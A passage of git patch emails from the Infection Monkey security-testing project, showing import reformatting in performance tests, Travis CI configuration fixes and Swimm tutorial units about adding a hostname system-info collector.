envs.monkey_zoo.blackbox.tests.performance.map_generation_from_telemetries import \ - MapGenerationFromTelemetryTest -from envs.monkey_zoo.blackbox.tests.performance.report_generation import \ - ReportGenerationTest +from envs.monkey_zoo.blackbox.tests.performance.map_generation import MapGenerationTest +from envs.monkey_zoo.blackbox.tests.performance.map_generation_from_telemetries import MapGenerationFromTelemetryTest +from envs.monkey_zoo.blackbox.tests.performance.report_generation import ReportGenerationTest from envs.monkey_zoo.blackbox.tests.performance.report_generation_from_telemetries import \ ReportGenerationFromTelemetryTest -from envs.monkey_zoo.blackbox.tests.performance.telemetry_performance_test import \ - TelemetryPerformanceTest +from envs.monkey_zoo.blackbox.tests.performance.telemetry_performance_test import TelemetryPerformanceTest from envs.monkey_zoo.blackbox.utils import gcp_machine_handlers DEFAULT_TIMEOUT_SECONDS = 5*60 diff --git a/envs/monkey_zoo/blackbox/tests/performance/endpoint_performance_test.py b/envs/monkey_zoo/blackbox/tests/performance/endpoint_performance_test.py index e08ac2824..b8793452d 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/endpoint_performance_test.py +++ b/envs/monkey_zoo/blackbox/tests/performance/endpoint_performance_test.py @@ -1,14 +1,10 @@ import logging -from envs.monkey_zoo.blackbox.analyzers.performance_analyzer import \ - PerformanceAnalyzer -from envs.monkey_zoo.blackbox.island_client.monkey_island_client import \ - MonkeyIslandClient -from envs.monkey_zoo.blackbox.island_client.supported_request_method import \ - SupportedRequestMethod +from envs.monkey_zoo.blackbox.analyzers.performance_analyzer import PerformanceAnalyzer +from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient +from envs.monkey_zoo.blackbox.island_client.supported_request_method import SupportedRequestMethod from envs.monkey_zoo.blackbox.tests.basic_test import BasicTest -from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import \ - PerformanceTestConfig +from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import PerformanceTestConfig LOGGER = logging.getLogger(__name__) diff --git a/envs/monkey_zoo/blackbox/tests/performance/map_generation.py b/envs/monkey_zoo/blackbox/tests/performance/map_generation.py index 926e5331e..eb95fdc6a 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/map_generation.py +++ b/envs/monkey_zoo/blackbox/tests/performance/map_generation.py @@ -1,12 +1,9 @@ from datetime import timedelta from envs.monkey_zoo.blackbox.tests.exploitation import ExploitationTest -from envs.monkey_zoo.blackbox.tests.performance.performance_test import \ - PerformanceTest -from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import \ - PerformanceTestConfig -from envs.monkey_zoo.blackbox.tests.performance.performance_test_workflow import \ - PerformanceTestWorkflow +from envs.monkey_zoo.blackbox.tests.performance.performance_test import PerformanceTest +from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import PerformanceTestConfig +from envs.monkey_zoo.blackbox.tests.performance.performance_test_workflow import PerformanceTestWorkflow MAX_ALLOWED_SINGLE_PAGE_TIME = timedelta(seconds=2) MAX_ALLOWED_TOTAL_TIME = timedelta(seconds=5) diff --git a/envs/monkey_zoo/blackbox/tests/performance/map_generation_from_telemetries.py b/envs/monkey_zoo/blackbox/tests/performance/map_generation_from_telemetries.py index 1ee1b60da..1b31a8962 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/map_generation_from_telemetries.py +++ b/envs/monkey_zoo/blackbox/tests/performance/map_generation_from_telemetries.py @@ -1,9 +1,7 @@ from datetime import timedelta -from envs.monkey_zoo.blackbox.tests.performance.performance_test import \ - PerformanceTest -from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import \ - PerformanceTestConfig +from envs.monkey_zoo.blackbox.tests.performance.performance_test import PerformanceTest +from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import PerformanceTestConfig from envs.monkey_zoo.blackbox.tests.performance.telemetry_performance_test_workflow import \ TelemetryPerformanceTestWorkflow diff --git a/envs/monkey_zoo/blackbox/tests/performance/performance_test_workflow.py b/envs/monkey_zoo/blackbox/tests/performance/performance_test_workflow.py index 5f08c976c..4e708ed9d 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/performance_test_workflow.py +++ b/envs/monkey_zoo/blackbox/tests/performance/performance_test_workflow.py @@ -1,9 +1,7 @@ from envs.monkey_zoo.blackbox.tests.basic_test import BasicTest from envs.monkey_zoo.blackbox.tests.exploitation import ExploitationTest -from envs.monkey_zoo.blackbox.tests.performance.endpoint_performance_test import \ - EndpointPerformanceTest -from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import \ - PerformanceTestConfig +from envs.monkey_zoo.blackbox.tests.performance.endpoint_performance_test import EndpointPerformanceTest +from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import PerformanceTestConfig class PerformanceTestWorkflow(BasicTest): diff --git a/envs/monkey_zoo/blackbox/tests/performance/report_generation.py b/envs/monkey_zoo/blackbox/tests/performance/report_generation.py index eec8f067d..e204cc29f 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/report_generation.py +++ b/envs/monkey_zoo/blackbox/tests/performance/report_generation.py @@ -1,12 +1,9 @@ from datetime import timedelta from envs.monkey_zoo.blackbox.tests.exploitation import ExploitationTest -from envs.monkey_zoo.blackbox.tests.performance.performance_test import \ - PerformanceTest -from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import \ - PerformanceTestConfig -from envs.monkey_zoo.blackbox.tests.performance.performance_test_workflow import \ - PerformanceTestWorkflow +from envs.monkey_zoo.blackbox.tests.performance.performance_test import PerformanceTest +from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import PerformanceTestConfig +from envs.monkey_zoo.blackbox.tests.performance.performance_test_workflow import PerformanceTestWorkflow MAX_ALLOWED_SINGLE_PAGE_TIME = timedelta(seconds=2) MAX_ALLOWED_TOTAL_TIME = timedelta(seconds=5) diff --git a/envs/monkey_zoo/blackbox/tests/performance/report_generation_from_telemetries.py b/envs/monkey_zoo/blackbox/tests/performance/report_generation_from_telemetries.py index 1cba745bf..abc2b35c2 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/report_generation_from_telemetries.py +++ b/envs/monkey_zoo/blackbox/tests/performance/report_generation_from_telemetries.py @@ -1,9 +1,7 @@ from datetime import timedelta -from envs.monkey_zoo.blackbox.tests.performance.performance_test import \ - PerformanceTest -from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import \ - PerformanceTestConfig +from envs.monkey_zoo.blackbox.tests.performance.performance_test import PerformanceTest +from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import PerformanceTestConfig from envs.monkey_zoo.blackbox.tests.performance.telemetry_performance_test_workflow import \ TelemetryPerformanceTestWorkflow diff --git a/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/sample_multiplier.py b/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/sample_multiplier.py index e5b0a52cd..cb5956025 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/sample_multiplier.py +++ b/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/sample_multiplier.py @@ -6,12 +6,10 @@ from typing import Dict, List from tqdm import tqdm -from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_file_parser import \ - SampleFileParser +from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_file_parser import SampleFileParser from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_multiplier.fake_ip_generator import \ FakeIpGenerator -from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_multiplier.fake_monkey import \ - FakeMonkey +from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_multiplier.fake_monkey import FakeMonkey TELEM_DIR_PATH = './tests/performance/telemetry_sample' LOGGER = logging.getLogger(__name__) diff --git a/envs/monkey_zoo/blackbox/tests/performance/telemetry_performance_test.py b/envs/monkey_zoo/blackbox/tests/performance/telemetry_performance_test.py index 75802449e..699876cce 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/telemetry_performance_test.py +++ b/envs/monkey_zoo/blackbox/tests/performance/telemetry_performance_test.py @@ -4,16 +4,11 @@ from datetime import timedelta from tqdm import tqdm -from envs.monkey_zoo.blackbox.analyzers.performance_analyzer import \ - PerformanceAnalyzer -from envs.monkey_zoo.blackbox.island_client.monkey_island_client import \ - MonkeyIslandClient -from envs.monkey_zoo.blackbox.island_client.supported_request_method import \ - SupportedRequestMethod -from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import \ - PerformanceTestConfig -from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_file_parser import \ - SampleFileParser +from envs.monkey_zoo.blackbox.analyzers.performance_analyzer import PerformanceAnalyzer +from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient +from envs.monkey_zoo.blackbox.island_client.supported_request_method import SupportedRequestMethod +from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import PerformanceTestConfig +from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_file_parser import SampleFileParser LOGGER = logging.getLogger(__name__) diff --git a/envs/monkey_zoo/blackbox/tests/performance/telemetry_performance_test_workflow.py b/envs/monkey_zoo/blackbox/tests/performance/telemetry_performance_test_workflow.py index b63d904e1..6d09752ca 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/telemetry_performance_test_workflow.py +++ b/envs/monkey_zoo/blackbox/tests/performance/telemetry_performance_test_workflow.py @@ -1,10 +1,7 @@ from envs.monkey_zoo.blackbox.tests.basic_test import BasicTest -from envs.monkey_zoo.blackbox.tests.performance.endpoint_performance_test import \ - EndpointPerformanceTest -from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import \ - PerformanceTestConfig -from envs.monkey_zoo.blackbox.tests.performance.telemetry_performance_test import \ - TelemetryPerformanceTest +from envs.monkey_zoo.blackbox.tests.performance.endpoint_performance_test import EndpointPerformanceTest +from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import PerformanceTestConfig +from envs.monkey_zoo.blackbox.tests.performance.telemetry_performance_test import TelemetryPerformanceTest class TelemetryPerformanceTestWorkflow(BasicTest): diff --git a/envs/os_compatibility/test_compatibility.py b/envs/os_compatibility/test_compatibility.py index 17d2d3735..1cf5220bb 100644 --- a/envs/os_compatibility/test_compatibility.py +++ b/envs/os_compatibility/test_compatibility.py @@ -1,7 +1,6 @@ import pytest -from envs.monkey_zoo.blackbox.island_client.monkey_island_client import \ - MonkeyIslandClient +from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient machine_list = { "10.0.0.36": "centos_6", From 1af19dc8fa55bb9dfd30183d0599971e24bab40c Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 7 Oct 2020 10:39:44 +0300 Subject: [PATCH 070/466] Fixed more bugs in travis, related to pytest and coverage --- .travis.yml | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/.travis.yml b/.travis.yml index f5331e911..1c0845e29 100644 --- a/.travis.yml +++ b/.travis.yml @@ -81,11 +81,10 @@ script: ## Run unit tests - cd monkey # This is our source dir -- python -m pytest --ignore=./monkey/ - common/cloud/scoutsuite # Have to use `python -m pytest` instead of `pytest` to add "{$builddir}/monkey/monkey" to sys.path. +- python -m pytest --ignore=./common/cloud/scoutsuite # Have to use `python -m pytest` instead of `pytest` to add "{$builddir}/monkey/monkey" to sys.path. ## Calculate Code Coverage -- coverage run -m pytest +- coverage run -m pytest --ignore=./common/cloud/scoutsuite # Check JS code. The npm install must happen AFTER the flake8 because the node_modules folder will cause a lot of errors. - cd monkey_island/cc/ui From 94b960fe423a111130390f42136eb1dcee233342 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 7 Oct 2020 10:55:03 +0300 Subject: [PATCH 071/466] Last travis bugfix regarding isort --- .travis.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index 1c0845e29..196138558 100644 --- a/.travis.yml +++ b/.travis.yml @@ -77,7 +77,7 @@ script: - if [ $(tail -n 1 flake8_warnings.txt) -gt $PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT ]; then echo "Too many python linter warnings! Failing this build. Lower the amount of linter errors in this and try again. " && exit 1; fi ## Check import order -- python -m isort . -c -p common -p infection_monkey -p monkey_island --skip ./monkey/common/cloud/scoutsuite --skip ./monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py -l 120 --wl 120 +- python -m isort . -c -p common -p infection_monkey -p monkey_island --skip ./monkey/common/cloud/scoutsuite --skip ./monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py -l 120 --wl 120 ## Run unit tests - cd monkey # This is our source dir From 01ee60b1bf9b498516c1d458ba79c77e3897a7e5 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 7 Oct 2020 11:15:00 +0300 Subject: [PATCH 072/466] Fixed broken swimm units --- .swm/OwcKMnALpn7tuBaJY1US.swm | 8 ++++---- .swm/tbxb2cGgUiJQ8Btma0fp.swm | 8 ++++---- 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/.swm/OwcKMnALpn7tuBaJY1US.swm b/.swm/OwcKMnALpn7tuBaJY1US.swm index 8a3b1eedc..6b6d0abc3 100644 --- a/.swm/OwcKMnALpn7tuBaJY1US.swm +++ b/.swm/OwcKMnALpn7tuBaJY1US.swm @@ -9,13 +9,13 @@ "Make sure you add the new collector to the configuration in all relevant places, including making it ON by default!" ], "files": { - "monkey/common/data/system_info_collectors_names.py": { + "monkey/common/common_consts/system_info_collectors_names.py": { "index": [ "175a054e..3b478dc9", "100644" ], - "fileA": "monkey/common/data/system_info_collectors_names.py", - "fileB": "monkey/common/data/system_info_collectors_names.py", + "fileA": "monkey/common/common_consts/system_info_collectors_names.py", + "fileB": "monkey/common/common_consts/system_info_collectors_names.py", "status": "MODIFIED", "numLineDeletions": 1, "numLineAdditions": 1, @@ -103,4 +103,4 @@ "summary": "U3lzdGVtJTIwaW5mbyUyMGNvbGxlY3RvcnMlMjBhcmUlMjB1c2VmdWwlMjB0byUyMGdldCUyMG1vcmUlMjBkYXRhJTIwZm9yJTIwdmFyaW91cyUyMHRoaW5ncyUyQyUyMHN1Y2glMjBhcyUyMFpUJTIwdGVzdHMlMjBvciUyME1JVFJFJTIwdGVjaG5pcXVlcy4lMjBUYWtlJTIwYSUyMGxvb2slMjBhdCUyMHNvbWUlMjBvdGhlciUyMHRlY2huaXF1ZXMh", "file_version": "1.0.2", "app_version": "0.1.60" -} \ No newline at end of file +} diff --git a/.swm/tbxb2cGgUiJQ8Btma0fp.swm b/.swm/tbxb2cGgUiJQ8Btma0fp.swm index 2a2c57cd4..5595eafaa 100644 --- a/.swm/tbxb2cGgUiJQ8Btma0fp.swm +++ b/.swm/tbxb2cGgUiJQ8Btma0fp.swm @@ -7,13 +7,13 @@ "Make sure to add the PBA to the configuration as well." ], "files": { - "monkey/common/data/post_breach_consts.py": { + "monkey/common/common_consts/post_breach_consts.py": { "index": [ "c3bba995..031f9ad0", "100644" ], - "fileA": "monkey/common/data/post_breach_consts.py", - "fileB": "monkey/common/data/post_breach_consts.py", + "fileA": "monkey/common/common_consts/post_breach_consts.py", + "fileB": "monkey/common/common_consts/post_breach_consts.py", "status": "MODIFIED", "numLineDeletions": 1, "numLineAdditions": 1, @@ -71,4 +71,4 @@ "summary": "VGFrZSUyMGElMjBsb29rJTIwYXQlMjB0aGUlMjBjb25maWd1cmF0aW9uJTIwb2YlMjB0aGUlMjBpc2xhbmQlMjBhZ2FpbiUyMC0lMjBzZWUlMjB0aGUlMjAlMjJjb21tYW5kJTIwdG8lMjBydW4lMjBhZnRlciUyMGJyZWFjaCUyMiUyMG9wdGlvbiUyMHdlJTIwb2ZmZXIlMjB0aGUlMjB1c2VyJTNGJTIwSXQncyUyMGltcGxlbWVudGVkJTIwZXhhY3RseSUyMGxpa2UlMjB5b3UlMjBkaWQlMjByaWdodCUyMG5vdyUyMGJ1dCUyMGVhY2glMjB1c2VyJTIwY2FuJTIwZG8lMjBpdCUyMGZvciUyMHRoZW1zZWx2ZXMuJTIwJTBBJTBBSG93ZXZlciUyQyUyMHdoYXQlMjBpZiUyMHRoZSUyMFBCQSUyMG5lZWRzJTIwdG8lMjBkbyUyMHN0dWZmJTIwd2hpY2glMjBpcyUyMG1vcmUlMjBjb21wbGV4JTIwdGhhbiUyMGp1c3QlMjBydW5uaW5nJTIwYSUyMGZldyUyMGNvbW1hbmRzJTNGJTIwSW4lMjB0aGF0JTIwY2FzZS4uLiUyMA==", "file_version": "1.0.2", "app_version": "0.1.60" -} \ No newline at end of file +} From adb617d6527a6618be71672a8ffe79a7bc43a8ca Mon Sep 17 00:00:00 2001 From: Swimm Date: Wed, 7 Oct 2020 20:48:16 +0300 Subject: [PATCH 073/466] Swimm: updated unit (OwcKMnALpn7tuBaJY1US) - fixing and upgrading to scheme 1.0.3 --- .swm/OwcKMnALpn7tuBaJY1US.swm | 244 +++++++++++++++++++++++----------- 1 file changed, 167 insertions(+), 77 deletions(-) diff --git a/.swm/OwcKMnALpn7tuBaJY1US.swm b/.swm/OwcKMnALpn7tuBaJY1US.swm index 6b6d0abc3..00ca3bc5d 100644 --- a/.swm/OwcKMnALpn7tuBaJY1US.swm +++ b/.swm/OwcKMnALpn7tuBaJY1US.swm @@ -1,6 +1,9 @@ { "id": "OwcKMnALpn7tuBaJY1US", "name": "Add a new System Info Collector", + "dod": "Add a system info collector that collects the machine hostname.", + "description": "# What are system info collectors?\n\nWell, the name pretty much explains it. They are Monkey classes which collect various information regarding the victim system, such as Environment, SSH Info, Process List, Netstat and more. \n\n## What should I add? \n\nA system info collector which collects the hostname of the system.\n\n## Test manually\n\nOnce you're done, make sure that your collector:\n* Appears in the Island configuration, and is enabled by default\n* The collector actually runs when executing a Monkey.\n* Results show up in the relevant places:\n * The infection map.\n * The security report.\n * The relevant MITRE techniques.\n\n**There are a lot of hints for this unit - don't be afraid to use them!**", + "summary": "System info collectors are useful to get more data for various things, such as ZT tests or MITRE techniques. Take a look at some other techniques!", "tests": [], "hints": [ "First thing you should do is take a look at a different collector (like EnvironemntCollector) and 100% understand how it runs, how results are relayed back to the server, and how the server processes the data.", @@ -8,99 +11,186 @@ "Take a look at SystemInfoCollector - that's the base class you'll need to implement", "Make sure you add the new collector to the configuration in all relevant places, including making it ON by default!" ], - "files": { + "swimmPatch": { "monkey/common/common_consts/system_info_collectors_names.py": { - "index": [ - "175a054e..3b478dc9", - "100644" - ], - "fileA": "monkey/common/common_consts/system_info_collectors_names.py", - "fileB": "monkey/common/common_consts/system_info_collectors_names.py", - "status": "MODIFIED", - "numLineDeletions": 1, - "numLineAdditions": 1, - "hunkContainers": [ - "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xJTJDNSUyMCUyQjElMkM1JTIwJTQwJTQwJTIyJTJDJTIyY2hhbmdlcyUyMiUzQSU1QiU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMEFXU19DT0xMRUNUT1IlMjAlM0QlMjAlNUMlMjJBd3NDb2xsZWN0b3IlNUMlMjIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExJTJDJTIyYiUyMiUzQTElN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIySE9TVE5BTUVfQ09MTEVDVE9SJTIwJTNEJTIwJTVDJTIySG9zdG5hbWVDb2xsZWN0b3IlNUMlMjIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0EyJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmFkZCUyMiUyQyUyMm1hcmslMjIlM0ElMjIlMkIlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIzJTIwU1dJTU1FUiUzQSUyMENvbGxlY3RvciUyMG5hbWUlMjBnb2VzJTIwaGVyZS4lMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmIlMjIlM0EyJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwRU5WSVJPTk1FTlRfQ09MTEVDVE9SJTIwJTNEJTIwJTVDJTIyRW52aXJvbm1lbnRDb2xsZWN0b3IlNUMlMjIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0EzJTJDJTIyYiUyMiUzQTMlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjBQUk9DRVNTX0xJU1RfQ09MTEVDVE9SJTIwJTNEJTIwJTVDJTIyUHJvY2Vzc0xpc3RDb2xsZWN0b3IlNUMlMjIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E0JTJDJTIyYiUyMiUzQTQlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjBNSU1JS0FUWl9DT0xMRUNUT1IlMjAlM0QlMjAlNUMlMjJNaW1pa2F0ekNvbGxlY3RvciU1QyUyMiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTUlMkMlMjJiJTIyJTNBNSU3RCU3RCU1RCUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTElMkMlMjJsaW5lc0NvdW50JTIyJTNBNSU3RCUyQyUyMmIlMjIlM0ElN0IlMjJzdGFydExpbmUlMjIlM0ExJTJDJTIybGluZXNDb3VudCUyMiUzQTUlN0QlN0QlN0QlN0Q=" + "diffType": "MODIFIED", + "fileDiffHeader": "diff --git a/monkey/common/common_consts/system_info_collectors_names.py b/monkey/common/common_consts/system_info_collectors_names.py\nindex c93cb253..bce6f86e 100644\n--- a/monkey/common/common_consts/system_info_collectors_names.py\n+++ b/monkey/common/common_consts/system_info_collectors_names.py", + "hunks": [ + { + "swimmHunkMetadata": {}, + "hunkDiffLines": [ + "@@ -1,5 +1,5 @@", + " AWS_COLLECTOR = \"AwsCollector\"", + "-HOSTNAME_COLLECTOR = \"HostnameCollector\"", + "+# SWIMMER: Collector name goes here.", + " ENVIRONMENT_COLLECTOR = \"EnvironmentCollector\"", + " PROCESS_LIST_COLLECTOR = \"ProcessListCollector\"", + " MIMIKATZ_COLLECTOR = \"MimikatzCollector\"" + ] + } ] }, "monkey/infection_monkey/system_info/collectors/hostname_collector.py": { - "index": [ - "ae956081..4dc6701a", - "100644" - ], - "fileA": "monkey/infection_monkey/system_info/collectors/hostname_collector.py", - "fileB": "monkey/infection_monkey/system_info/collectors/hostname_collector.py", - "status": "MODIFIED", - "numLineDeletions": 12, - "numLineAdditions": 1, - "hunkContainers": [ - "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xJTJDMTYlMjAlMkIxJTJDNSUyMCU0MCU0MCUyMiUyQyUyMmNoYW5nZXMlMjIlM0ElNUIlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjBpbXBvcnQlMjBsb2dnaW5nJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMSUyQyUyMmIlMjIlM0ExJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMmltcG9ydCUyMHNvY2tldCUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjJmcm9tJTIwY29tbW9uLmRhdGEuc3lzdGVtX2luZm9fY29sbGVjdG9yc19uYW1lcyUyMGltcG9ydCUyMEhPU1ROQU1FX0NPTExFQ1RPUiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTQlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyZnJvbSUyMGluZmVjdGlvbl9tb25rZXkuc3lzdGVtX2luZm8uc3lzdGVtX2luZm9fY29sbGVjdG9yJTIwaW1wb3J0JTIwJTVDJTVDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjBTeXN0ZW1JbmZvQ29sbGVjdG9yJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTclMkMlMjJiJTIyJTNBMiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMGxvZ2dlciUyMCUzRCUyMGxvZ2dpbmcuZ2V0TG9nZ2VyKF9fbmFtZV9fKSUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTglMkMlMjJiJTIyJTNBMyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTklMkMlMjJiJTIyJTNBNCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExMCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjJjbGFzcyUyMEhvc3RuYW1lQ29sbGVjdG9yKFN5c3RlbUluZm9Db2xsZWN0b3IpJTNBJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTElN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwZGVmJTIwX19pbml0X18oc2VsZiklM0ElMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExMiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBzdXBlcigpLl9faW5pdF9fKG5hbWUlM0RIT1NUTkFNRV9DT0xMRUNUT1IpJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTMlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTQlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwZGVmJTIwY29sbGVjdChzZWxmKSUyMC0lM0UlMjBkaWN0JTNBJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTUlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwcmV0dXJuJTIwJTdCJTVDJTIyaG9zdG5hbWUlNUMlMjIlM0ElMjBzb2NrZXQuZ2V0ZnFkbigpJTdEJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTYlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyYWRkJTIyJTJDJTI